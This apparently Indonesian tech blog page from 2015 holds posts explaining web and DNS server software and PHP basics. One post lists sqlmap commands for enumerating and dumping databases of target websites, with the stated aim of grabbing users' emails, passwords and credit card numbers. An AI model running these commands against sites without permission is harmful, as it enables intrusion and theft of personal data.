Kamis, 12 Maret 2015
On 05.00 by Unknown in Teknologi
Sebelumnya saya SUDAH posting Pengertian DNS SRVER dan Pengertian DHCP SERVER. Sekarang saya akan menjelaskan tentang PENGERTIAN WEB SERVER DAN
JENIS APLIKASI WEB SERVER. Oke, cekidooott ..
1.
PENGERTIAN WEB SERVER
WEB SERVER: adalah suatu server yang memberikan service
(layanan) kepada klien yang meminta informasi berkaitan dengan web. Web server
sendiri terdiri dari dua komponen. yang pertama adalah komputer itu sendiri dan
software web server yang dipakainya. jadi dapat diambil kesimpulan
mesin(komputer) apapun bisa saja menjadi web server asalkan software web server
tersedia di mesin(komputer) itu.
2.
CARA KERJA DARI WEB SERVER
Hubungan antara Web Server dan Browser Internet merupakan
gabungan atau jaringan Komputer yg ada di seluruh dunia. Setelah terhubung
secara fisik, Protocol TCP/IP (networking protocol) yg memungkinkan semua
komputer dapat berkomunikasi satu dengan yg lainnya. Pada saat browser meminta
data web page ke server maka instruksi permintaan data oleh browser tersebut di
kemas di dalam TCP yg merupakan protocol transport dan dikirim ke alamat yg
dalam hal ini merupakan protocol berikutnya yaitu Hyper Text Transfer Protocol
(HTTP). HTTP ini merupakan protocol yg digunakan dalam World Wide Web (WWW)
antar komputer yg terhubung dalam jaringan di dunia ini. Untuk mengenal
protocol ini jelas sangan mudah sekali dimana setiap kali anda mengetik
http://… anda telah menggunakannya, dan membawa anda ke dunia internet. Data yg
di passing dari browser ke Web server disebut sebagai HTTP request yg meminta
web page dan kemudian web server akan mencari data HTML yg ada dan di kemas
dalam TCP protocol dan di kirim kembali ke browser. Data yg dikirim dari server
ke browser disebut sebagai HTTP response. Jika data yg diminta oleh browser
tidak ditemukan oleh si Web server maka akan meninbulkan error yg sering anda
lihat di web page yaitu Error : 404
Page Not Found.
Hal ini memberikan cita rasa dari suatu proses yang
tridimensional, artinya pengguna internet dapat membaca dari satu dokumen ke
dokumen yang lain hanya dengan mengklik beberapa bagian dari halaman-halaman
dokumen (web) itu. Proses yang dimulai dari permintaan webclient (browser),
diterima web server, diproses, dan dikembalikan hasil prosesnya oleh web server
ke web client lagi dilakukan secara transparan. Setiap orang dapat dengan mudah
mengetahui apa yang terjadi pada tiap-tiap proses. Secara garis besarnya web
server hanya memproses semua masukan yang diperolehnya dari web clientnya.
3.
JENIS-JENIS APLIKASI WEB SERVER
a.
NGINX
Nginx adalah salah satu dari sebagian perangkat lunak untuk
server yang diciptakan untuk memanage dan mengola sebuah Website. Tidak seperti
perangkat lunak server yang lainnya, Nginx tidak bergantung kepada thread untuk
melayani klien. Sebaliknya, Nginx menggunakan arsitektur asynkronus yang lebih
stabil. Arsitektur ini membutuhkan lebih sedikit memory, dan yang lebih
penting, dapat diperkirakan. Bahkan jika Anda tidak mengharapkan server Anda
untuk mengatasi ribuan koneksi pada saat yang bersamaan, Anda masih dapat
diuntungkan dengan pemakaian memory yang sedikit namun berkemampuan tinggi.
Nginx dapat digunakan dalam semua skala, mulai dari VPS kecil sampai dengan
cluster server dalam jumlah besar.
b.
APACHE
Apache adalah server web yang dapat dijalankan di banyak
sistem operasi (Unix,BSD,Linux, Microsoft Windows dan Novell Netwareserta
platform lainnya) yang berguna untuk melayani dan memfungsikan situs web.
Protokol yang digunakan untuk melayani fasilitas web/www ini menggunakan HTTP.
Apache memiliki fitur-fitur canggih seperti pesan kesalahan yang dapat
dikonfigurasi, autentikasi berbasis basis data dan lain-lain. Apache juga
didukung oleh sejumlah antarmuka pengguna berbasis grafik (GUI) yang
memungkinkan penanganan server menjadi mudah.
c.
XAMPP
XAMPP adalah program aplikasi pengembang yang berguna untuk
pengembangan website berbasis PHP dan MySQL. Versi terbaru program ini adalah
XAMPP 1.7.7, yang dirilis pada tanggal 20 September 2011. Software XAMPP dibuat
dan dikembangkan oleh Apache Friends.
d.
WAMP SERVER
Wamp Server merupakan sebuah aplikasi yang dapat menjadikan
komputer maupun laptop anda menjadi sebuah server atau bisa dikatakan server
offline. Kegunaan wamp server ini untuk membuat jaringan local sendiri dalam
artian anda dapat membuat website secara offline yang biasanya untuk joomla,
wordpress, dll. Wamp server hanya bisa digunakan untuk sistem operasi windows
saja, jadi untuk pemakai linux tidak bisa memakai aplikasi ini. Sebenarnya
fungsi wamp server ini sama dengan Xampp.
e.
AMPPS
AMPPS merupakan aplikasi webserver ciptaan Softaculous dan
bisa digunakan baik sebagai Webserver localhost ataupun di Onlinekan, karena
AMPPS sudah mendukung banyak pengaplikasian, control panel yang sudah dapat
diakses melalui browser dan sudah terintegrasi dengan segala pengaturan seperti
hosting panel dan juga dapat langsung mengatur domain setting dan sebagainya.
Softaculous Auto installer juga sudah termasuk disini,
meskipun untuk memanfaatkan Auto installer ini diharuskan mempunyai koneksi
internet.
f.
UWAMP
UWamp adalah sebuah paket kumpulan software yang terdiri
dari apache, mysql, phpmyadmin, php, Perl, Freetype2,dll. UWamp berfungsi untuk
memudahkan instalasi lingkungan php, di mana biasa nya lingkungan pengembangan
web memerlukan php,apache,mysql dan phpmyadmin serta software-software yang
terkait dengan pengembangan web. Dengan menggunakan UWamp, kita tidak perlu
menginstall aplikasi-aplikasi tsb satu persatu
g.
EASY PHP
EasyPHP: adalah software antarmuka WAMP (Windows Apache
MySql PhpMyAdmin) yang dapat menjalankan cms website berbasis sql di localhost
windows (offline). Software ini membantu dalam pengtesan cms sebelum diupload
ke webhosting.
On 00.58 by Unknown in Teknologi
1.
PENGERTIAN DNS SERVER
DNS (Domain Name System) adalah Distribusi Database
System yang digunakan untuk pencarian nama komputer di rangkaian yang
menggunakan TCP/IP. DNS merupakan sebuah aplikasi service yang biasa
digunakan di internet seperti web browser atau e-mail yang menerjemahkan sebuah
domain ke IP address.
2.
FUNGSI (CARA KERJA) DNS SERVER
Fungsi dari DNS adalah menerjemahkan nama komputer ke IP
address (memetakan). Di mana client DNS disebut dengan resolvers dan DNS server
disebut dengan name servers. Resolvers atau client mengirimkan permintaan ke
name server berupa queries. Name server akan memproses dengan cara mencek ke
local database DNS, menghubungi name server lainnya atau akan mengirimkan
message failure jika ternyata permintaan dari client tidak ditemukan. Proses
tersebut dinamakan dengan Forward Lookup Query, yaitu permintaan dari client
dengan cara memetakan nama komputer (host) ke IP address.
3.
JENIS APLIKASI DNS SERVER
Berkeley Internet Nama Domain (BIND) adalah server DNS yang
paling umum digunakan di Internet, khususnya pada sistem operasi bertipe Unix
yang secara de facto merupakan standar. BIND awalnya dibuat oleh empat orang
mahasiswa di CSRG Universitas California Berkeley dan pertama kali dirilis di dalam
4.3BSD. Paul Vixie kemudian meneruskan pengembangannya pada tahun 1988 saat
bekerja di DEC.
a.
MaraDNS
MaraDNS adalah perangkat lunak server DNS gratis oleh Sam
Trenholme yang mengklaim sejarah keamanan yang baik dan kemudahan penggunaan.
Dalam rangka untuk mengubah catatan DNS, MaraDNS perlu di-restart. Seperti
djbdns dnscache, 2.0 MaraDNS berdiri sendiri Deadwood resolver rekursif tidak
menggunakan benang.
b.
DjbDNS
Djbdns adalah kumpulan aplikasi DNS, termasuk tinydns, yang
paling digunakan kedua perangkat lunak server DNS bebas pada tahun 2004. Ini
dirancang oleh Daniel J. Bernstein, penulis qmail, dengan penekanan pada
pertimbangan keamanan. Pada bulan Maret 2009, Bernstein dibayar $ 1000 untuk
orang pertama menemukan lubang keamanan di djbdns. The Source code tidak
terpusat dipelihara dan dilepaskan ke dalam domain publik pada tahun 2007. Pada
Maret 2009, ada tiga garpu dan lebih dari selusin patch untuk menambahkan fitur
tambahan untuk djbdns.
c.
NSD (Name Server Daemon)
NSD adalah server perangkat lunak bebas otoritatif yang
disediakan oleh NLNet Labs. NSD adalah server test-bed untuk DNSSEC, baru
DNSSEC protokol fitur sering prototyped menggunakan basis kode NSD. NSD host
beberapa domain tingkat atas, dan mengoperasikan tiga dari nameserver root.
d.
Unbound
Unbound adalah, memvalidasi rekursif dan caching DNS server
yang dirancang untuk kinerja tinggi. Itu dirilis 20 Mei 2008 (versi 1.0.0)
dalam bentuk perangkat lunak perangkat lunak bebas dilisensikan di bawah
lisensi BSD oleh NLnet Labs, Verisign Inc, Nominet, dan Kirei. Unbound juga
ditawarkan pada kernel Linux mengeras dengan Toggling cerdas dengan ISC BIND,
terintegrasi dengan protokol routing Quagga pada peralatan Dell / TCPWave.
Dukungan komersial untuk Unbound juga disediakan oleh TCPWave.
e.
Power DNS
PowerDNS adalah perangkat lunak server DNS gratis dengan
berbagai penyimpanan data back-berakhir dan fitur load balancing. Fungsi server
otoritatif dan rekursif diimplementasikan sebagai aplikasi terpisah.
f.
Microsoft DNS
Microsoft DNS adalah server DNS yang disediakan dengan
Windows Server.
Minggu, 08 Maret 2015
On 05.26 by Unknown in Pemrograman, PHP
Masih semangat belajar PHPnya? Jika masih semangat yuk mari kita belajar lagi PHP kali ini membahas Perulangan for dalam PHP. Ada beberapa macam perulangan pada PHP yakni perulangan menggunakan while, do-while, foreach dan for. Dan pada kesempatan kali ini saya akan memberikan contoh dan penjelasan perulangan for dalam PHP.
Perulangan for dalam PHP sangatlah berguna pada saat ada beberapa baris kode yang ingin dijalankan secara berulang-ulang. Dalam contoh untuk membuat deretan angka 1-100 tidak perlu lagi menuliskan baris kode tersebut sebanyak 100 kali karena dalam PHP sudah tersedia perintah untuk menjalankan instruksi tersebut yakni dengan menggunakan perulangan-perulangan dalam PHP. Entah itu menggunakan while, do-while, foreach maupun for. Diatara keempat jenis perulangan tersebut penulisanya berbeda-beda dan kali ini saya hanya akan memberikan contoh penulisan perulangan menggunakan for saja hehe ...
Misal kita akan membuat deretan angka 1-100 scriptnya seperti ini :
<?php for($i=1; $i<=100; $i++) { echo 'angka ' . $i . '<br>'; } ?>
Tuh kan cuman perlu sedikit script kode saja perulangan angka otomatis dibuat. Tidak perlu capek-capek kita menginputkan baris perintah satu-satu hehe.
Okehh contoh kedua kita akan membuat perulangan pilihan tanggal lahir dengan menggunakan perulangan for, scriptnya begini :
<?php echo 'Pilih Tanggal Lahir : <br>'. 'Tanggal : <select name="tgl_lahir">'; for ($tgl = 1; $tgl <= 31; $tgl++) { echo '<option name="' .$tgl.'">'.$tgl.'</option>'; } echo '</select> '; echo 'Bulan : <select name="bulan">'; for ($bln = 1; $bln <= 12; $bln++) { echo '<option name="' .$bln.'">'.$bln.'</option>'; } echo '</select>'; echo 'Tahun : <select name="tahun">'; for ($thn = 1980; $thn <= 2020; $thn++) { echo '<option name="' .$thn.'">'.$thn.'</option>'; } echo '</select> '; ?>
Tuh kan otomatis juga hehe. Silahkan berlatih logika menggunakan perulangan for ini. Semakin banyak berlatih semakin paham kita pada maksud-maksud scriptnya. Untuk postingan mendatang adalah contoh perulangan menggunakan while. Cuma segitu saja mungkin bila ada kesalahan dalam postingan di atas diminta koreksinya yah..
Wassalam!
Jumat, 06 Maret 2015
On 03.15 by Unknown in Pemrograman, PHP
Sudah lama nggak posting tentang pelajaran PHP. Kesibukan aktifitas di dunia nyata adalah yang menjadi penyebab utamanya hehe. Pada waktu yang senggang ini saya akan menjelaskan penggunaan konstanta dalam PHP. Sebelumnya saya sudah menerangkan tentang penggunaan variabel di PHP, tulisanya bisa di lihat disini. Kalau dalam penulisan variabel dalam PHP kita tau penulisanya itu harus di awali dengan simbol dolar ($), sedangkan untuk penulisan konstanta di PHP ada dua cara yaitu :
- Menggunakan kata kunci (keyword) const
- Menggunakan fungsi define
Untuk cara penulisan menggunakan kata kunci const adalah dengan menambahkan kata const sebelum penulisan konstanta tersebut,
Contoh :
<?php const NamA = 'Iyan Isyanto'; // konstanta echo NamA; // tampil konstanta ?>
Untuk cara penulisan menggunakan fungsi define adalah sbb :
Contoh :
<?php define('NamA', 'Iyan Isyanto'); // konstanta echo NamA; // tampil konstanta ?>
Terlihat bukan perbedaan penulisan dari konstanta keduanya? yap, perlu diketahui penulisan konstanta dengan keyword const hanya dapat digunakan pada top-level scope, yakni harus dalam lingkungan PHP sehingga fungsi const ini tidak bisa digunakan di dalam function, loop (perulangan) dan if (kondisional). Jadi jika kalian membutuhkan konstanta di dalam function harus menggunakan fungsi yang kedua tadi yakni fungsi keyword define.
Bagaimana aturan penulisan konstanta dalam PHP?
Aturan penulisan konstanta sama seperti aturan penulisan pada variabel dalam PHP yakni penulisan huruf awal tidak boleh menggunakan angka hanya memperbolehkan huruf dan underscore (_) saja. Untuk penulisan karakter kedua dan seterusnya dibolehkan angka dan huruf dan simbol underscore tapi tidak diizinkan karakter-karakter seperti !@#$%^ dan sebagainya.
Huruf pada konstanta juga case-sensitive sama halnya seperti penulisan pada variabel. Jadi huruf pada konstansta saat akan digunakan harus sama persis dengan saat penetapan nilai konstanta tersebut. Namu ada cara lain untuk menjadikan konstanta menjadi case-insensitive yakni dengan menambahkan nilai true setelah penetapan nilai konstanta, contoh :
<?php define('NamA', 'Iyan Isyanto', TRUE); echo nama; ?>
Nilai konstanta tidak dapat di ubah
Yap, nilai konstanta itu tetap dan tidak bisa diubah. Kita tidak bisa mengubah nilai sebuah konstanta yang sudah ditetapkan oleh konstanta sebelumnya, Contoh :
<?php define('NamA', 'Iyan Isyanto'); echo nama; define('NamA', 'IanGoBlog'); // perubahan nilai konstanta ?>
Script diatas jika dijalankan akan terjadi error. Karna merubah nilai konstanta sebelumnya. Kalau percaya silahkan dicoba hehe.
Mungkin penjelasan tentang Konstanta Dalam PHP cukup sekian saja, semoga dengan penjelasan di atas kalian merasa kurang dan mencari lagi referensi dari yang lainya. Karena penjelasan konstanta ini masih banyak sekali tapi saya tidak bisa menuliskanya lengkap disini, soalnya taunya cuman itu sih wkwkwk
Oke wassalam yeeh.
Rabu, 04 Maret 2015
Wuihh baca judulnya serem banget yah? Perintah-perintah SQLMAP untuk Hacking Website. Yah, ini cuma sharing ilmu saja dari seorang newbie tentang keingintahuanya dalam dunia hacking. Pada kesempatan yang bahagia ini saya mau berbagi tentang perintah-perintah sqlmap tepatnya untuk mengetahui isi database dari sebuah website, seperti informasi email, password dan bahkan kalau beruntung terdapat informasi nomor kartu kredit dari seorang user wkwkwk.
Oke cekidot saja inilah beberapa perintah-perintah dasar sqlmap untuk hacking website :
- sqlmap.py -u url_target --dbs
Perintah ini digunakan untuk mengambil semua nama database di server. Isi link target dengan web tujuan kalian wkwk.
- sqlmap.py -u url_target -D nama_database --tables
Perintah ini digunakan untuk mengambil semua table dari suatu database. nama_database isi dengan nama database yang ingin ditampilkan semua tablenya.
- sqlmap.py -u url_target -D nama_database -T nama_table --columns
Perintah ini digunakan untuk menampilkan semua column dari sebuah table yang ada di sebuah database server. Ganti nama tablenya sesuai dengan nama table yang ada di database target masing-masing.
- sqlmap.py -u url_target -D nama_database -T nama_table -C nama_columns --dump
Perintah ini digunakan untuk menampilkan isi dari semua data dari sebuah table. isi nama nama_columns dengan kolom-kolom yang ada di table tersebut. Contoh penulisanya seperti ini :
sqlmap.py -u iangoblog.com/user.php?id=2 -D iangoblog -T users -C email,username,password --dump
Tapi kalau kalian ingin langsung saja mengambil semua data yang ada di database servernya, kalian bisa langsung menuliskan perintah di bawah ini dan kalian tinggal hanya menunggu saja. Kecepatan tergantung dengan kecepatan internet yang kalian punya. Perintahnya sebagai berikut :
sqlmap.py -u iangoblog.com/user.php?id=2 --dump-all - tekan enter
Mungkin cukup sekian perintah-perintah sqlmap yang saya tau hehe. Kurang lebihnya cari saja sendiri yah di google wkwkw. Dan bagaimana sih untuk mencari website yang lemah dan bisa diambil data-data di databasenya? Jawabanya adalah nanti di postingan mendatang saya akan berbagi tentang Cara Mencari Website Vulnerable Dengan Menggunkan Mesin Pencari Google hehe . Tunggu saja yah, dan jangan bosen untuk selalu berkunjung ke blog butut ini hehe.
Wassalammm....
Langganan:
Postingan (Atom)
Search
Artikel Pilihan
-
Pengertian dan jenis aplikasi DNS server. 1. PENGERTIAN DNS SERVER DNS ( Domain Name System ) adalah Distribusi Database...
-
Oke, sekarang saya akan membahas tentang PENGERTIAN DAN JENIS APLIKASI FTP SERVER. Saya mulai saja dari pengertian FTP server itu sen...
-
Mau posting lagi catatan kuliah saya nih, materi jaringan yaitu membahas tentang apa itu pengertian dari samba server dan jenis aplikasi...
-
Sebelumnya saya sudah posting tentang Pengertian dan Jenis Aplikasi DNS Server dan sekarang saya akan menerangkan Pengertian Dan Jenis ...
-
Waduuuhh sudah lama sekali saya tidak posting di blog kesayangan ini, mungkin sudah hampir dua mingguan kurang lebih wkwkwk Ceritanya say...
-
Wuihh baca judulnya serem banget yah? Perintah-perintah SQLMAP untuk Hacking Website. Yah, ini cuma sharing ilmu saja dari seorang newbie t...
-
Sebelumnya saya SUDAH posting Pengertian DNS SRVER dan Pengertian DHCP SERVER . Sekarang saya akan menjelaskan tentang PENGERTIAN WEB S...
-
Malu yah kalau status facebooknya dikit banget yang like? Tapi nggak juga sih bagi orang yang udah terbiasa status facebooknya 0 like wkw...
-
Okey mas bro, sis bro ketemu lagi dengan saya yang ganteng ini wkwk. Sekarang ane mau nulis artikel bagaimana sih CARA BERKOMUNIKASI LISA...
-
Masih semangat belajar PHPnya? Jika masih semangat yuk mari kita belajar lagi PHP kali ini membahas Perulangan for dalam PHP . Ada bebera...